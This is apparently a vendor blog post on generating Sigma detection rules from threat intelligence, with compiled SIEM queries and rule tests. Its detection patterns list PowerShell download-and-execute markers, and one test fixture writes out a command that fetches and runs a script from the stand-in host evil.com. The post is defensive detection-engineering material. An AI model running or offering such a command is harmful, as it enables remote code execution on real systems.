Detection-as-Code: Generating Sigma Rules from Threat Intelligence

A typical enterprise SOC tracks 150-300 threat actors relevant to their sector. The same SOC maintains 30-50 custom detection rules. That’s a coverage ratio of roughly one rule for every five tracked adversaries — and most rules cover generic behaviors, not actor-specific TTPs.

The gap isn’t laziness. Writing a good detection rule takes 2-4 hours: research the technique, understand the telemetry requirements, write the logic, test against benign activity for false positives, tune thresholds, validate across data sources, document, and deploy. Multiply that by the hundreds of techniques in MITRE ATT&CK and you have a backlog that never shrinks.

Detection-as-code treats detection logic the same way software engineering treats application code: version-controlled, peer-reviewed, CI/CD-tested, and — crucially — auto-generated from structured data. When your threat intelligence platform ingests a report on APT29 using PowerShell-based C2, it should produce a deployable detection rule within minutes, not after a ticket sits in Jira for three weeks.

What detection-as-code actually means

The term gets thrown around loosely. Here’s the precise definition we use:

Detection-as-code is the practice of managing detection logic as source code artifacts that are version-controlled, programmatically generated, tested against known-good and known-bad samples, and deployed through CI/CD pipelines to production SIEM/EDR systems.

The components:

1. Structured intelligence input — STIX 2.1 indicators with ATT&CK technique mappings
2. Rule generation — automated transformation from indicators + techniques to detection logic
3. Vendor-agnostic format — Sigma rules as the intermediate representation
4. Compilation — Sigma to SIEM-native query (Splunk SPL, Elastic KQL, Microsoft KQL, etc.)
5. Testing — unit tests for detection logic using synthetic and real log samples
6. Deployment — CI/CD pipeline pushes validated rules to production

This is distinct from “we store our Splunk alerts in Git,” which is version control for detection rules but not detection-as-code. The “as-code” part means generation and testing are automated, not just storage.

The pipeline: intelligence to detection

MalCloud implements a four-stage pipeline that converts raw threat intelligence into deployed detection rules.

Stage 1: IOC ingestion and ATT&CK mapping

When MalCloud ingests indicators — from feeds, manual uploads, extractors, or ZK-STIX sharing — each indicator is associated with observable types and, where available, ATT&CK technique IDs.

A VirusTotal report on a malware sample might include:

• File hash: SHA-256: 7a5b8b7c...
• Contacted domains: update-service[.]cloud, cdn-assets[.]xyz
• Dropped files: C:\Users\Public\svchost.exe
• Registry modifications: HKCU\Software\Microsoft\Windows\CurrentVersion\Run
• Process behavior: PowerShell execution with encoded commands

MalCloud’s extractors parse this into STIX 2.1 indicator objects and map the behaviors to ATT&CK techniques:

• PowerShell execution → T1059.001 (Command and Scripting Interpreter: PowerShell)
• Registry Run key persistence → T1547.001 (Boot or Logon Autostart Execution: Registry Run Keys)
• Masquerading as svchost.exe → T1036.005 (Masquerading: Match Legitimate Resource Name or Location)
• C2 over HTTPS → T1071.001 (Application Layer Protocol: Web Protocols)

Stage 2: Sigma rule generation

For each mapped technique, MalCloud generates Sigma rules using technique-specific templates combined with the concrete IOC values from the intelligence input.

Here’s the Sigma rule generated for T1059.001 (PowerShell execution with encoded commands), based on the APT29 tradecraft documented in MITRE ATT&CK Group G0016:

title: Suspicious PowerShell Encoded Command Execution - APT29 TTP
id: 8f2e4a7c-1d3b-4e5f-9a6c-2b8d7e0f1c4a
status: experimental
description: |
  Detects PowerShell execution with encoded commands, a technique
  consistently used by APT29 (Cozy Bear) for initial payload execution
  and C2 communication. Ref: MITRE ATT&CK T1059.001, G0016.
references:
  - https://attack.mitre.org/techniques/T1059/001/
  - https://attack.mitre.org/groups/G0016/
author: MalCloud Detection Engine
date: 2026/03/22
tags:
  - attack.execution
  - attack.t1059.001
  - attack.g0016
logsource:
  category: process_creation
  product: windows
detection:
  selection_powershell:
    Image|endswith:
      - '\powershell.exe'
      - '\pwsh.exe'
  selection_encoded:
    CommandLine|contains:
      - '-enc '
      - '-EncodedCommand '
      - '-ec '
  selection_suspicious_patterns:
    CommandLine|contains:
      - 'FromBase64String'
      - 'System.Convert'
      - 'IEX'
      - 'Invoke-Expression'
      - 'New-Object System.Net.WebClient'
      - 'DownloadString'
      - 'DownloadFile'
  condition: selection_powershell and (selection_encoded or selection_suspicious_patterns)
falsepositives:
  - Legitimate administrative scripts using encoded commands
  - SCCM/Intune deployment scripts
  - Some vendor installers
level: high

And the corresponding rule for T1547.001 (Registry Run key persistence):

title: Registry Run Key Modification via Suspicious Process - APT29 Persistence
id: 3c9d5e1f-7a2b-4f8c-b6d0-e4a9c1f2d5b7
status: experimental
description: |
  Detects modification of Windows Registry Run keys by processes
  dropped in unusual locations, consistent with APT29 persistence
  techniques. Ref: MITRE ATT&CK T1547.001.
references:
  - https://attack.mitre.org/techniques/T1547/001/
author: MalCloud Detection Engine
date: 2026/03/22
tags:
  - attack.persistence
  - attack.t1547.001
logsource:
  category: registry_set
  product: windows
detection:
  selection_target:
    TargetObject|contains:
      - '\CurrentVersion\Run'
      - '\CurrentVersion\RunOnce'
      - '\CurrentVersion\RunServices'
  selection_suspicious_paths:
    Details|contains:
      - '\Users\Public\'
      - '\ProgramData\'
      - '\AppData\Local\Temp\'
      - '\Windows\Temp\'
  filter_legitimate:
    Image|startswith:
      - 'C:\Program Files\'
      - 'C:\Program Files (x86)\'
      - 'C:\Windows\System32\'
  condition: selection_target and selection_suspicious_paths and not filter_legitimate
falsepositives:
  - Legitimate software installers writing to user-space paths
level: high

A third rule targeting the domain-based IOCs for C2 detection:

title: DNS Query to Known APT29 C2 Infrastructure
id: a1e7f2c4-9b3d-4e6a-8c5f-d0b2a7e1f9c3
status: experimental
description: |
  Detects DNS resolution attempts to domains associated with
  APT29 C2 infrastructure identified in current threat intelligence.
  Auto-generated from MalCloud indicator feed.
references:
  - https://attack.mitre.org/techniques/T1071/001/
  - https://attack.mitre.org/groups/G0016/
author: MalCloud Detection Engine
date: 2026/03/22
tags:
  - attack.command-and-control
  - attack.t1071.001
logsource:
  category: dns_query
  product: windows
detection:
  selection:
    QueryName:
      - 'update-service.cloud'
      - 'cdn-assets.xyz'
  condition: selection
falsepositives:
  - Unlikely - these are known malicious domains
level: critical

Stage 3: SIEM compilation

Sigma rules are vendor-agnostic. Production SIEMs need native queries. MalCloud compiles Sigma to the target platform using the Sigma specification’s field mapping and backend logic.

The T1059.001 PowerShell rule compiles to:

Splunk SPL:

index=windows sourcetype=WinEventLog:Security OR sourcetype=XmlWinEventLog:Microsoft-Windows-Sysmon/Operational
(Image="*\\powershell.exe" OR Image="*\\pwsh.exe")
AND (
  CommandLine="*-enc *" OR CommandLine="*-EncodedCommand *" OR CommandLine="*-ec *"
  OR CommandLine="*FromBase64String*" OR CommandLine="*System.Convert*"
  OR CommandLine="*IEX*" OR CommandLine="*Invoke-Expression*"
  OR CommandLine="*New-Object System.Net.WebClient*"
  OR CommandLine="*DownloadString*" OR CommandLine="*DownloadFile*"
)
| table _time, host, User, Image, CommandLine, ParentImage

Elastic KQL (Kibana):

process.executable : (*\\powershell.exe OR *\\pwsh.exe) AND
process.command_line : (
  *-enc\ * OR *-EncodedCommand\ * OR *-ec\ * OR
  *FromBase64String* OR *System.Convert* OR
  *IEX* OR *Invoke-Expression* OR
  *New-Object\ System.Net.WebClient* OR
  *DownloadString* OR *DownloadFile*
)

Microsoft Sentinel KQL:

DeviceProcessEvents
| where FileName in~ ("powershell.exe", "pwsh.exe")
| where ProcessCommandLine has_any (
    "-enc ", "-EncodedCommand ", "-ec ",
    "FromBase64String", "System.Convert",
    "IEX", "Invoke-Expression",
    "New-Object System.Net.WebClient",
    "DownloadString", "DownloadFile"
  )
| project Timestamp, DeviceName, AccountName, FileName, ProcessCommandLine, InitiatingProcessFileName

MalCloud generates all three outputs simultaneously. The total time from indicator ingestion to compiled SIEM queries: under 60 seconds.

Stage 4: Testing and deployment

Generated rules are only useful if they work. MalCloud includes a testing framework for Sigma rules that validates against:

True positive tests — synthetic log entries that should trigger the rule:

# test_t1059_001_true_positive.yml
test_cases:
  - name: "Encoded PowerShell command"
    log:
      Image: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
      CommandLine: 'powershell.exe -enc SQBFAFgAIAAoAE4AZQB3AC0ATwBiAGoA...'
      ParentImage: 'C:\Windows\explorer.exe'
      User: 'CORP\jsmith'
    expected: match

  - name: "PowerShell with DownloadString"
    log:
      Image: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
      CommandLine: "powershell -NoP -NonI -W Hidden IEX (New-Object Net.WebClient).DownloadString('http://evil.com/payload.ps1')"
      ParentImage: 'C:\Windows\System32\cmd.exe'
      User: 'CORP\admin'
    expected: match

True negative tests — benign activity that should not trigger:

  - name: "Legitimate PowerShell - Get-Process"
    log:
      Image: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
      CommandLine: 'powershell.exe Get-Process | Sort-Object CPU -Descending'
      ParentImage: 'C:\Windows\explorer.exe'
      User: 'CORP\admin'
    expected: no_match

  - name: "SCCM deployment script"
    log:
      Image: 'C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe'
      CommandLine: 'powershell.exe -ExecutionPolicy Bypass -File "C:\Windows\ccmcache\install.ps1"'
      ParentImage: 'C:\Windows\CCM\CcmExec.exe'
      User: 'SYSTEM'
    expected: no_match

Rules that fail testing are flagged for analyst review with specific failure details. Rules that pass are deployable.

Why Sigma as the intermediate layer

The Sigma project (github.com/SigmaHQ/sigma) defines a generic signature format for SIEM systems. It’s the YARA of log-based detection — write once, compile to any backend.

The SigmaHQ rule repository contains over 3,000 community-maintained rules covering the majority of ATT&CK techniques. But community rules are generic by design. They detect technique patterns, not actor-specific implementations. A community Sigma rule for T1059.001 detects PowerShell encoded commands broadly. A MalCloud-generated rule detects the specific PowerShell patterns, domains, and file paths associated with the threat actor you’re actually tracking.

The value of auto-generation isn’t replacing community Sigma rules — it’s supplementing them with intelligence-specific detections that would take hours to write manually.

Sigma also provides a clean separation between detection logic and SIEM implementation. When you migrate from Splunk to Elastic (or add Sentinel as a secondary SIEM), your detection logic doesn’t need to be rewritten. Re-compile the Sigma rules to the new backend and deploy.

Measuring detection coverage

Detection-as-code enables quantitative coverage measurement. For every threat actor in your intelligence database, you can compute:

• Technique coverage: what percentage of the actor’s known ATT&CK techniques have corresponding detection rules?
• Indicator coverage: what percentage of the actor’s known IOCs are included in detection logic?
• Recency: how fresh are the rules relative to the latest intelligence on this actor?

MalCloud computes these metrics automatically and surfaces coverage gaps in the ATT&CK matrix view. If APT29 uses 27 documented techniques and you have detection rules for 14, your coverage is 52%. The remaining 13 techniques are prioritized for rule generation based on intelligence confidence and telemetry availability.

This converts detection engineering from “write rules when something bad happens” to “maintain coverage ratios against prioritized threats.” It’s the difference between reactive and proactive detection.

Operationalizing the pipeline

For teams implementing detection-as-code, the workflow looks like this:

1. Intelligence ingestion — MalCloud receives STIX indicators from feeds, extractors, ZK-STIX sharing, or manual upload
2. Automatic rule generation — Sigma rules are generated for new indicators with ATT&CK mappings
3. Testing — rules run against test suites; failures are flagged
4. Review — analysts review generated rules in a Git-based workflow (PR per rule batch)
5. Deployment — approved rules are compiled to SIEM-native format and pushed via API
6. Feedback loop — rule triggers and false positive rates feed back into the generation engine for tuning

The entire cycle from intelligence receipt to deployed detection can complete in under 10 minutes for automated flows, or under a day with human review in the loop.

The math on manual vs. automated

Assume a mid-size SOC with 5 detection engineers. Each engineer produces approximately 2-3 quality detection rules per week (industry average from SANS 2024 SOC Survey). That’s 10-15 rules per week, or roughly 600 per year.

MITRE ATT&CK Enterprise contains 216 techniques and 475 sub-techniques. If you track 50 threat actors averaging 15 techniques each, you need coverage for approximately 300 unique techniques (accounting for overlap). At 3 rules per technique (covering different data sources and variations), that’s 900 rules — 18 months of manual engineering capacity.

With detection-as-code, MalCloud generates the initial Sigma rules in seconds. Analyst time shifts from writing rules to reviewing and tuning them. Review takes 15-30 minutes per rule versus 2-4 hours for writing from scratch. The same 5-person team now covers 900 techniques in weeks, not years.

Getting started

MalCloud’s detection-as-code pipeline is available in all deployment tiers. Connect your STIX intelligence sources, configure your target SIEM backends, and the pipeline handles the rest.

The Sigma specification is essential reading for anyone working in detection engineering. The SigmaHQ rule repository is an excellent foundation to build on.

If your SOC is drowning in a detection backlog, request a walkthrough or request a walkthrough of the detection-as-code pipeline.